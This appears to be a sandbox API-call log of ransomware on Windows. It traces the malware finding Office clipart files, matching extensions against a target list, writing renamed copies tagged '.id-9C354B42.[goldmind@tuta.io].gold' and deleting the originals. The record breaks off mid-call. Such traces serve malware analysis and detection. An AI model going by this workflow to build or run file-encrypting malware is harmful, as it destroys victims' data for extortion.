[0111.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0111.277] lstrlenW (lpString=".1cd") returned 4 [0111.277] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0111.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0111.277] lstrlenW (lpString=".jpg") returned 4 [0111.277] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0111.277] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0111.277] lstrlenW (lpString="J0172193.WMF") returned 12 [0111.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0111.325] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=12696) returned 1 [0111.325] CloseHandle (hObject=0x3d8) returned 1 [0111.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf")) returned 0x20 [0111.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0111.330] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.330] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0111.840] GetLastError () returned 0x0 [0111.840] ReadFile (in: hFile=0x194, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x3198, lpOverlapped=0x0) returned 1 [0111.846] WriteFile (in: hFile=0x3bc, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x31a0, lpOverlapped=0x0) returned 1 [0111.847] ReadFile (in: hFile=0x194, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0111.847] WriteFile (in: hFile=0x3bc, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0111.847] SetEndOfFile (hFile=0x3bc) returned 1 [0111.847] CloseHandle (hObject=0x3bc) returned 1 [0111.847] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.847] SetEndOfFile (hFile=0x194) returned 1 [0111.851] CloseHandle (hObject=0x194) returned 1 [0111.851] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0111.860] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf")) returned 1 [0111.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF") returned 63 [0111.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF") returned 63 [0111.861] lstrlenW (lpString=".doc") returned 4 [0111.861] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0111.861] lstrlenW (lpString=".docx") returned 5 [0111.861] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0111.861] lstrlenW (lpString=".pdf") returned 4 [0111.861] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0111.861] lstrlenW (lpString=".xls") returned 4 [0111.861] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0111.861] lstrlenW (lpString=".xlsx") returned 5 [0111.861] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0111.861] lstrlenW (lpString=".ppt") returned 4 [0111.861] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0111.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF") returned 63 [0111.861] lstrlenW (lpString=".zip") returned 4 [0111.861] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0111.861] lstrlenW (lpString=".rar") returned 4 [0111.861] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0111.861] lstrlenW (lpString=".bz2") returned 4 [0111.861] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0111.861] lstrlenW (lpString=".7z") returned 3 [0111.861] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0111.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF") returned 63 [0111.861] lstrlenW (lpString=".dbf") returned 4 [0111.861] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0111.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF") returned 63 [0111.861] lstrlenW (lpString=".1cd") returned 4 [0111.861] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0111.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF") returned 63 [0111.861] lstrlenW (lpString=".jpg") returned 4 [0111.861] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0111.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF") returned 63 [0111.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF") returned 63 [0111.862] lstrlenW (lpString=".doc") returned 4 [0111.862] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0111.862] lstrlenW (lpString=".docx") returned 5 [0111.862] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0111.862] lstrlenW (lpString=".pdf") returned 4 [0111.862] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0111.862] lstrlenW (lpString=".xls") returned 4 [0111.862] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0111.862] lstrlenW (lpString=".xlsx") returned 5 [0111.862] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0111.862] lstrlenW (lpString=".ppt") returned 4 [0111.862] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0111.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF") returned 63 [0111.862] lstrlenW (lpString=".zip") returned 4 [0111.862] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0111.862] lstrlenW (lpString=".rar") returned 4 [0111.862] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0111.862] lstrlenW (lpString=".bz2") returned 4 [0111.862] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0111.862] lstrlenW (lpString=".7z") returned 3 [0111.862] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0111.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF") returned 63 [0111.862] lstrlenW (lpString=".dbf") returned 4 [0111.862] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0111.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF") returned 63 [0111.862] lstrlenW (lpString=".1cd") returned 4 [0111.862] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0111.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF") returned 63 [0111.862] lstrlenW (lpString=".jpg") returned 4 [0111.862] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0111.862] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0111.862] lstrlenW (lpString="J0174639.WMF") returned 12 [0111.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0111.863] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=5100) returned 1 [0111.863] CloseHandle (hObject=0x380) returned 1 [0111.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf")) returned 0x20 [0111.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0111.863] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.863] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0111.864] GetLastError () returned 0x0 [0111.864] ReadFile (in: hFile=0x380, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x13ec, lpOverlapped=0x0) returned 1 [0111.909] WriteFile (in: hFile=0x3ec, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x13f0, lpOverlapped=0x0) returned 1 [0111.910] ReadFile (in: hFile=0x380, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0111.910] WriteFile (in: hFile=0x3ec, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0111.910] SetEndOfFile (hFile=0x3ec) returned 1 [0111.910] CloseHandle (hObject=0x3ec) returned 1 [0111.910] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.910] SetEndOfFile (hFile=0x380) returned 1 [0111.912] CloseHandle (hObject=0x380) returned 1 [0111.912] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.004] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf")) returned 1 [0112.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF") returned 63 [0112.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF") returned 63 [0112.005] lstrlenW (lpString=".doc") returned 4 [0112.005] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0112.005] lstrlenW (lpString=".docx") returned 5 [0112.005] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0112.005] lstrlenW (lpString=".pdf") returned 4 [0112.005] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0112.005] lstrlenW (lpString=".xls") returned 4 [0112.005] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0112.005] lstrlenW (lpString=".xlsx") returned 5 [0112.005] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0112.005] lstrlenW (lpString=".ppt") returned 4 [0112.005] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0112.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF") returned 63 [0112.005] lstrlenW (lpString=".zip") returned 4 [0112.005] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0112.005] lstrlenW (lpString=".rar") returned 4 [0112.005] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0112.005] lstrlenW (lpString=".bz2") returned 4 [0112.005] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0112.005] lstrlenW (lpString=".7z") returned 3 [0112.005] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0112.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF") returned 63 [0112.005] lstrlenW (lpString=".dbf") returned 4 [0112.005] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0112.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF") returned 63 [0112.005] lstrlenW (lpString=".1cd") returned 4 [0112.005] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0112.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF") returned 63 [0112.005] lstrlenW (lpString=".jpg") returned 4 [0112.005] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0112.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF") returned 63 [0112.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF") returned 63 [0112.005] lstrlenW (lpString=".doc") returned 4 [0112.005] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0112.005] lstrlenW (lpString=".docx") returned 5 [0112.005] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0112.005] lstrlenW (lpString=".pdf") returned 4 [0112.005] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0112.006] lstrlenW (lpString=".xls") returned 4 [0112.006] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0112.006] lstrlenW (lpString=".xlsx") returned 5 [0112.006] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0112.006] lstrlenW (lpString=".ppt") returned 4 [0112.006] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0112.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF") returned 63 [0112.006] lstrlenW (lpString=".zip") returned 4 [0112.006] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0112.006] lstrlenW (lpString=".rar") returned 4 [0112.006] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0112.006] lstrlenW (lpString=".bz2") returned 4 [0112.006] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0112.006] lstrlenW (lpString=".7z") returned 3 [0112.006] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0112.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF") returned 63 [0112.006] lstrlenW (lpString=".dbf") returned 4 [0112.006] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0112.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF") returned 63 [0112.006] lstrlenW (lpString=".1cd") returned 4 [0112.006] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0112.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF") returned 63 [0112.006] lstrlenW (lpString=".jpg") returned 4 [0112.006] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0112.006] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0112.006] lstrlenW (lpString="J0175428.JPG") returned 12 [0112.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0112.007] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=14552) returned 1 [0112.007] CloseHandle (hObject=0x3d8) returned 1 [0112.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg")) returned 0x20 [0112.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0112.007] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.007] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0112.008] GetLastError () returned 0x0 [0112.008] ReadFile (in: hFile=0x3d8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x38d8, lpOverlapped=0x0) returned 1 [0112.021] WriteFile (in: hFile=0x3c8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x38e0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x38e0, lpOverlapped=0x0) returned 1 [0112.022] ReadFile (in: hFile=0x3d8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0112.022] WriteFile (in: hFile=0x3c8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0112.022] SetEndOfFile (hFile=0x3c8) returned 1 [0112.022] CloseHandle (hObject=0x3c8) returned 1 [0112.022] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.023] SetEndOfFile (hFile=0x3d8) returned 1 [0112.024] CloseHandle (hObject=0x3d8) returned 1 [0112.024] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.038] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg")) returned 1 [0112.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG") returned 63 [0112.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG") returned 63 [0112.039] lstrlenW (lpString=".doc") returned 4 [0112.039] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0112.039] lstrlenW (lpString=".docx") returned 5 [0112.039] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0112.039] lstrlenW (lpString=".pdf") returned 4 [0112.039] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0112.039] lstrlenW (lpString=".xls") returned 4 [0112.039] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0112.039] lstrlenW (lpString=".xlsx") returned 5 [0112.039] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0112.039] lstrlenW (lpString=".ppt") returned 4 [0112.039] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0112.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG") returned 63 [0112.039] lstrlenW (lpString=".zip") returned 4 [0112.039] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0112.039] lstrlenW (lpString=".rar") returned 4 [0112.039] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0112.039] lstrlenW (lpString=".bz2") returned 4 [0112.039] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0112.039] lstrlenW (lpString=".7z") returned 3 [0112.039] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0112.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG") returned 63 [0112.039] lstrlenW (lpString=".dbf") returned 4 [0112.039] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0112.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG") returned 63 [0112.039] lstrlenW (lpString=".1cd") returned 4 [0112.039] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0112.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG") returned 63 [0112.039] lstrlenW (lpString=".jpg") returned 4 [0112.039] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0112.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG") returned 63 [0112.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG") returned 63 [0112.039] lstrlenW (lpString=".doc") returned 4 [0112.039] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0112.039] lstrlenW (lpString=".docx") returned 5 [0112.039] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0112.039] lstrlenW (lpString=".pdf") returned 4 [0112.039] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0112.039] lstrlenW (lpString=".xls") returned 4 [0112.039] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0112.039] lstrlenW (lpString=".xlsx") returned 5 [0112.039] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0112.039] lstrlenW (lpString=".ppt") returned 4 [0112.039] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0112.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG") returned 63 [0112.039] lstrlenW (lpString=".zip") returned 4 [0112.039] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0112.039] lstrlenW (lpString=".rar") returned 4 [0112.039] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0112.039] lstrlenW (lpString=".bz2") returned 4 [0112.039] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0112.039] lstrlenW (lpString=".7z") returned 3 [0112.039] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0112.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG") returned 63 [0112.040] lstrlenW (lpString=".dbf") returned 4 [0112.040] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0112.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG") returned 63 [0112.040] lstrlenW (lpString=".1cd") returned 4 [0112.040] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0112.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG") returned 63 [0112.040] lstrlenW (lpString=".jpg") returned 4 [0112.040] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0112.040] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0112.040] lstrlenW (lpString="J0177806.JPG") returned 12 [0112.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 